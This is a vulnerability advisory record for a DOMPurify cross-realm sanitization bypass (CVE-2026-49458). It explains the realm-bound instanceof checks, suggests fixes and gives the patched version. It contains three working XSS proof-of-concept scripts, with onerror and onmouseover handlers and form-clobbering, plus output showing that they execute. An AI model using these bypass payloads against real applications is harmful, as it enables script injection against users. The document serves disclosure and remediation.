{"id":"CVE-2026-49458","aliases":["GHSA-hpcv-96wg-7vj8"],"title":"DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks","summary":"DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks","severity":"medium","cvss":6.1,"cwe":["CWE-79","CWE-501","CWE-693"],"vendor":"dompurify","product":"dompurify","ecosystem":"npm","affected":["dompurify <= 3.4.5"],"patched":["dompurify 3.4.6"],"published":"2026-06-15","updated":"2026-06-15","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-hpcv-96wg-7vj8","references":[{"url":"https://github.com/cure53/DOMPurify/security/advisories/GHSA-hpcv-96wg-7vj8"},{"url":"https://github.com/advisories/GHSA-hpcv-96wg-7vj8"}],"tags":["ghsa","npm"],"ingestedAt":"2026-07-07T15:41:58.710Z","epss":0.00404,"epssPercentile":0.34395,"slug":"CVE-2026-49458","body":"## Overview\n\n# Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks\n\n**CWE**: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — realm-bound `instanceof` checks fail-open on foreign-realm DOM nodes) and CWE-501 (Trust Boundary Violation — foreign-realm nodes accepted for sanitization but later checks are bound to the parent realm)\n\n## Summary\n\n`DOMPurify.sanitize(node, { IN_PLACE: true })` accepts a DOM node from any same-origin realm (e.g. a node owned by an application-created iframe document), but several follow-on security checks compare the node against constructors from the parent realm. Because constructors are per-realm, `instanceof HTMLFormElement`, `instanceof NamedNodeMap`, `instanceof DocumentFragment`, and `instanceof Element` all return `false` for nodes belonging to the iframe's realm. The library therefore proceeds as if the foreign-realm form is not clobberable, the foreign-realm `<template>`'s `.content` is not a document fragment, and the foreign-realm attached shadow root is not a document fragment — silently skipping the clobber/template-content/shadow-DOM sanitization branches that those checks gate. Attacker-controlled markup survives in form attributes, template content, and attached shadow roots, and executes when the application later inserts or activates the sanitized node.\n\n## Affected\n\n- DOMPurify ≤ 3.4.5, including `main` at `89da34e03ec17868e561f87f3747a9371b61a9e7`\n- Any caller that constructs or parses untrusted DOM in a same-origin iframe (or any other same-origin realm — popup window, opened tab, programmatically-created `<iframe srcdoc>`) and then calls `DOMPurify.sanitize(foreignNode, { IN_PLACE: true })` against a sanitizer instance bound to a different realm\n\nNot affected:\n- String-input `DOMPurify.sanitize(dirtyString)` — the library calls its own parser inside `_initDocument`, the resulting nodes belong to the sanitizer's own realm, and the `instanceof` checks resolve as expected\n- IN_PLACE calls where the input node was created in the same realm as the DOMPurify instance\n\n## Vulnerability details\n\nThe unifying defect is that `_isClobbered`, `_sanitizeShadowDOM`'s template-content recursion, and `_sanitizeAttachedShadowRoots` all use realm-bound `instanceof` checks against the parent-realm constructors. Each branch fails-open for foreign-realm objects.\n\n### [A] — `_isClobbered` gates on `element instanceof HTMLFormElement`\n\n`src/purify.ts:1120-1140`:\n\n```ts\nconst _isClobbered = function (element: Element): boolean {\n  return (\n    element instanceof HTMLFormElement &&    // [A] realm-bound — false for any\n                                              //     iframe-realm <form> element\n    (typeof element.nodeName !== 'string' ||\n      typeof element.textContent !== 'string' ||\n      typeof element.removeChild !== 'function' ||\n      !(element.attributes instanceof NamedNodeMap) ||   // [A'] also realm-bound\n      typeof element.removeAttribute !== 'function' ||\n      typeof element.setAttribute !== 'function' ||\n      typeof element.namespaceURI !== 'string' ||\n      typeof element.insertBefore !== 'function' ||\n      typeof element.hasChildNodes !== 'function' ||\n      !(element.childNodes && typeof element.childNodes.length === 'number'))\n  );\n};\n```\n\nA foreign-realm `<form>` is an instance of the foreign realm's `HTMLFormElement`, not the parent realm's. The leading `instanceof` short-circuits to `false`, so `_isClobbered` returns `false` regardless of the named-property clobbering present on the form. The follow-on `_sanitizeAttributes` then iterates `currentNode.attributes` — which itself can be a clobbered value (a foreign-realm `<input>` whose `name=\"attributes\"` shadows the form's real `NamedNodeMap`). The attribute walk traverses the wrong collection and never reaches the actual `onmouseover` / `onclick` / `action=javascript:` attributes on the form root.\n\n### [B] — `_sanitizeShadowDOM` gates template recursion on `content instanceof DocumentFragment`\n\n`src/purify.ts:1660-1662`:\n\n```ts\nwhile ((shadowNode = shadowIterator.nextNode())) {\n  ...\n  _sanitizeElements(shadowNode);\n  _sanitizeAttributes(shadowNode);\n  /* Deep shadow DOM detected */\n  if (shadowNode.content instanceof DocumentFragment) {   // [B] realm-bound\n    _sanitizeShadowDOM(shadowNode.content);\n  }\n}\n```\n\nThe same check exists in the main iterator at `:1861-1862`:\n\n```ts\nif (currentNode.content instanceof DocumentFragment) {     // [B'] realm-bound\n  _sanitizeShadowDOM(currentNode.content);\n}\n```\n\nFor a `<template>` element constructed in a foreign realm, `template.content` is a `DocumentFragment` from that realm — not from the parent realm. Both checks miss it, and the template's contents (which carry attacker-controlled `<img src=x onerror=...>` etc.) are never walked. The sanitized output appears clean from the outside, but the moment a consumer does `node.cloneNode(true)` / `importNode(template.content, true)` / inserts it into the live DOM, the embedded handler fires.\n\n### [C] — `_sanitizeAttachedShadowRoots` gates recursion on `sr instanceof DocumentFragment`\n\n`src/purify.ts:1702-1712`:\n\n```ts\nif (nodeType === NODE_TYPE.element) {\n  const sr = getShadowRoot\n    ? getShadowRoot(root)\n    : (root as Element).shadowRoot;\n  if (sr instanceof DocumentFragment) {                    // [C] realm-bound\n    _sanitizeAttachedShadowRoots(sr);\n    _sanitizeShadowDOM(sr);\n  }\n}\n```\n\nFor a host element constructed in a foreign realm with `host.attachShadow({mode:'open'})`, `host.shadowRoot` is a foreign-realm `ShadowRoot` (which extends the foreign realm's `DocumentFragment`). The `instanceof DocumentFragment` against the parent realm fails. The whole shadow subtree is skipped. When the host is later attached to the live document, the shadow DOM activates with attacker-controlled content.\n\n### The mismatch\n\nDOMPurify *accepts* foreign-realm nodes for sanitization (the entry-point's `_isNode(dirty)` at `:1750` is realm-agnostic — it checks shape, not constructor identity), so callers reasonably expect that the library's downstream defenses are equally realm-agnostic. They are not. `[A]` / `[B]` / `[C]` each fail-open for foreign-realm objects. A correct guard at each of those sites would use a realm-independent shape check (e.g., `nodeType === 11` for `DocumentFragment`, tag-name comparison for `HTMLFormElement` recognition).\n\n## Proof of concept\n\nEach PoC creates the attacker payload in a same-origin iframe, then calls the parent-realm `DOMPurify.sanitize(node, { IN_PLACE: true })` and verifies that handler execution succeeds on subsequent activation.\n\n### PoC 1 — cross-realm form clobbering survives\n\n```js\nconst iframe = document.createElement('iframe');\niframe.srcdoc = '<!doctype html><html><body></body></html>';\niframe.onload = () => {\n  const idoc = iframe.contentDocument;\n  const div = idoc.createElement('div'); div.id = 'dirty';\n  const form = idoc.createElement('form');\n  form.setAttribute('onmouseover',\n    'window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1');\n  const inp = idoc.createElement('input');\n  inp.setAttribute('name', 'attributes');                  // clobbers form.attributes\n  form.appendChild(inp);\n  div.appendChild(form);\n\n  DOMPurify.sanitize(div, { IN_PLACE: true });\n\n  window.__dompurify_xss = 0;\n  document.body.appendChild(div);\n  form.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));\n  // window.__dompurify_xss === 1\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved (Chromium 148, DOMPurify 3.4.5, HEAD `89da34e`):\n\n```json\n{\n  \"sanitizeError\": null,\n  \"before\": {\n    \"formIsMainRealmHTMLFormElement\": false,\n    \"formIsForeignRealmHTMLFormElement\": true,\n    \"formAttributesType\": \"[object HTMLInputElement]\",\n    \"formAttributesEqualsInput\": true\n  },\n  \"after\": {\n    \"html\": \"<div id=\\\"dirty\\\"><form onmouseover=\\\"window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\\\"><input></form></div>\",\n    \"formOnmouseover\": \"window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\",\n    \"xssExecuted\": 1\n  }\n}\n```\n\n### PoC 2 — cross-realm `<template>` content is never walked\n\n```js\nconst iframe = document.createElement('iframe');\niframe.srcdoc = '<!doctype html><html><body></body></html>';\niframe.onload = () => {\n  const idoc = iframe.contentDocument;\n  const div = idoc.createElement('div');\n  const tpl = idoc.createElement('template');\n  tpl.innerHTML = '<img src=\"x\" onerror=' +\n    '\"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1\">';\n  div.appendChild(tpl);\n\n  DOMPurify.sanitize(div, { IN_PLACE: true });\n\n  window.__dompurify_template_xss = 0;\n  const clone = idoc.importNode(tpl.content, true);\n  document.body.appendChild(clone);                        // fires onerror\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved:\n\n```json\n{\n  \"before\": {\n    \"templateIsMainRealmHTMLTemplateElement\": false,\n    \"contentIsMainRealmDocumentFragment\": false,\n    \"contentIsForeignRealmDocumentFragment\": true\n  },\n  \"after\": {\n    \"templateInnerHTMLAfter\": \"<img src=\\\"x\\\" onerror=\\\"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1\\\">\",\n    \"xssExecuted\": 1\n  }\n}\n```\n\n### PoC 3 — cross-realm attached shadow root is never walked\n\n```js\nconst iframe = document.createElement('iframe');\niframe.srcdoc = '<!doctype html><html><body></body></html>';\niframe.onload = () => {\n  const idoc = iframe.contentDocument;\n  const host = idoc.createElement('div');\n  host.attachShadow({ mode: 'open' }).innerHTML =\n    '<img src=x onerror=\"window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1\"><b>safe text</b>';\n\n  DOMPurify.sanitize(host, { IN_PLACE: true });\n\n  window.__dompurify_shadow_xss = 0;\n  document.body.appendChild(host);                          // shadow activates, onerror fires\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved:\n\n```json\n{\n  \"before\": {\n    \"hostIsMainRealmElement\": false,\n    \"shadowRootIsMainRealmDocumentFragment\": false,\n    \"shadowRootIsForeignRealmDocumentFragment\": true\n  },\n  \"after\": {\n    \"shadowRootInnerHTMLAfter\": \"<img src=\\\"x\\\" onerror=\\\"window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1\\\"><b>safe text</b>\",\n    \"xssExecuted\": 1\n  }\n}\n```\n\nAll three PoCs run cleanly against `dist/purify.js` built from current `main` HEAD `89da34e`.\n\n## Impact\n\n### Direct\n\nAny application that parses, isolates, or constructs untrusted DOM inside a same-origin iframe (a common technique for `<base href>` isolation, `document.write` sandboxing, layout pre-measurement, declarative-shadow-root attachment, etc.) and then hands the resulting node to a parent-realm DOMPurify instance with `IN_PLACE: true` is vulnerable. The library returns a node whose top-level shape looks sanitized, but executable attacker markup remains in:\n\n- **Form root attributes** — `onmouseover`, `onfocus`, `onclick`, `action=\"javascript:...\"`, `formaction=`, `target=`, `id=` (DOM-clobbering target), and the full attribute-allowlist set, because `_sanitizeAttributes` walks a clobbered `.attributes` instead of the real `NamedNodeMap`.\n- **`<template>` content** — `<img onerror>`, `<svg><script>`, `<iframe srcdoc>`, etc., because the inert template tree is never recursed into.\n- **Attached shadow roots** — any markup inside the shadow root, because the shadow walk is skipped entirely.\n\nXSS triggers when the consuming code:\n- Inserts the form into the live DOM and the user interacts with it (mouseover, click, focus).\n- Clones template content with `importNode` / `cloneNode(true)` / `node.appendChild(template.content)` into the live DOM.\n- Appends the shadow host to the live document (the shadow root becomes active and `<img onerror>` fires synchronously during the insertion microtask).\n\n### Indirect / second-order\n\n- **DOM-based template engines** (Lit, Polymer, Vue, FAST) that often use foreign-realm `<template>` parsing for performance reasons. If they pipe attacker-influenced content through such a template and then run DOMPurify on the parent-realm host, the template body is sanitization-skipped.\n- **Editor / WYSIWYG frameworks** that render preview content inside a same-origin iframe and then move it into the main document after sanitization.\n- **Email/HTML preview libraries** that parse received HTML in an isolated iframe to neutralize CSS / `<base>` / form submission, then sanitize via the main page's DOMPurify.\n- **Declarative shadow DOM consumers** that adopt a host from one realm into another — the shadow subtree carries the bypass.\n\nThe known prior IN_PLACE-cross-window fix (which closed an earlier cross-window primitive) does not cover the realm-bound `instanceof` checks at `[A]`, `[B]`, `[C]`; current `main` HEAD is still affected.\n\n## Root cause\n\nPer-realm constructors. `instanceof X` checks the prototype chain against the parent realm's `X.prototype`. Foreign-realm objects have a different `X.prototype` and so fail every such check. The sanitizer accepts foreign-realm DOM nodes for `IN_PLACE` sanitization (the entry-point only checks node shape), but several internal security decisions are still bound to the parent realm. This produces an inconsistency: *\"we accept your node, but we silently behave as if it is not a form, not a template, not a shadow root.\"*\n\nOther realm-bound `instanceof` sites in the same file that should likely be audited as part of the same fix sweep:\n\n```ts\nelement instanceof HTMLFormElement     // src/purify.ts:1122\nelement.attributes instanceof NamedNodeMap  // src/purify.ts:1126\nsr instanceof DocumentFragment         // src/purify.ts:1706\ncurrentNode.content instanceof DocumentFragment  // src/purify.ts:1861\nshadowNode.content instanceof DocumentFragment   // src/purify.ts:1660 (approx)\ncurrentNode instanceof Element         // src/purify.ts:1296 (callsite of _checkValidNamespace)\n```\n\n## Suggested fix\n\nUse realm-independent shape checks consistently for any decision made on a node accepted from `IN_PLACE`:\n\n1. **`HTMLFormElement` detection** — compare via the realm-independent `getNodeName` cached prototype getter introduced for the recent shadow-root traversal hardening:\n\n   ```ts\n   const _isClobbered = function (element: Element): boolean {\n     const nn = getNodeName ? getNodeName(element) : element.nodeName;\n     if (typeof nn !== 'string' || transformCaseFunc(nn) !== 'form') return false;\n     // ... rest of the typeof / cached-getter shape checks ...\n   };\n   ```\n\n2. **`DocumentFragment` detection** — `nodeType === NODE_TYPE.documentFragment` (i.e., `11`), not `instanceof DocumentFragment`. The check is already realm-independent because `Node.nodeType` is a numeric constant. Same change for the `<template>`-content and attached-shadow-root recursion sites.\n\n3. **`NamedNodeMap` detection** — read `element.attributes` via the cached `Element.prototype.attributes` getter (introduce `getAttributes = lookupGetter(ElementPrototype, 'attributes')`) and verify `nodeType === 11`-style shape (length is a number, indexed `[i]` returns objects with `.name`/`.value` strings). Do not rely on `instanceof NamedNodeMap`.\n\n4. **`Element` detection** at `:1296` — replace `currentNode instanceof Element` with a shape check (`getNodeType(currentNode) === NODE_TYPE.element`).\n\nThe invariant the fix should encode: *once `IN_PLACE` accepts a foreign-realm node for sanitization, every downstream security decision on that node must be foreign-realm-safe.* The cached prototype getters introduced for the shadow-root hardening already point at the right pattern; the fix is to extend that pattern to every realm-bound check in the sanitization path.\n\n## Affected packages\n\n- `dompurify <= 3.4.5`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `dompurify 3.4.6`","depth":"sunlit","depthScore":34,"depthScoreParts":{"impact":33.6,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}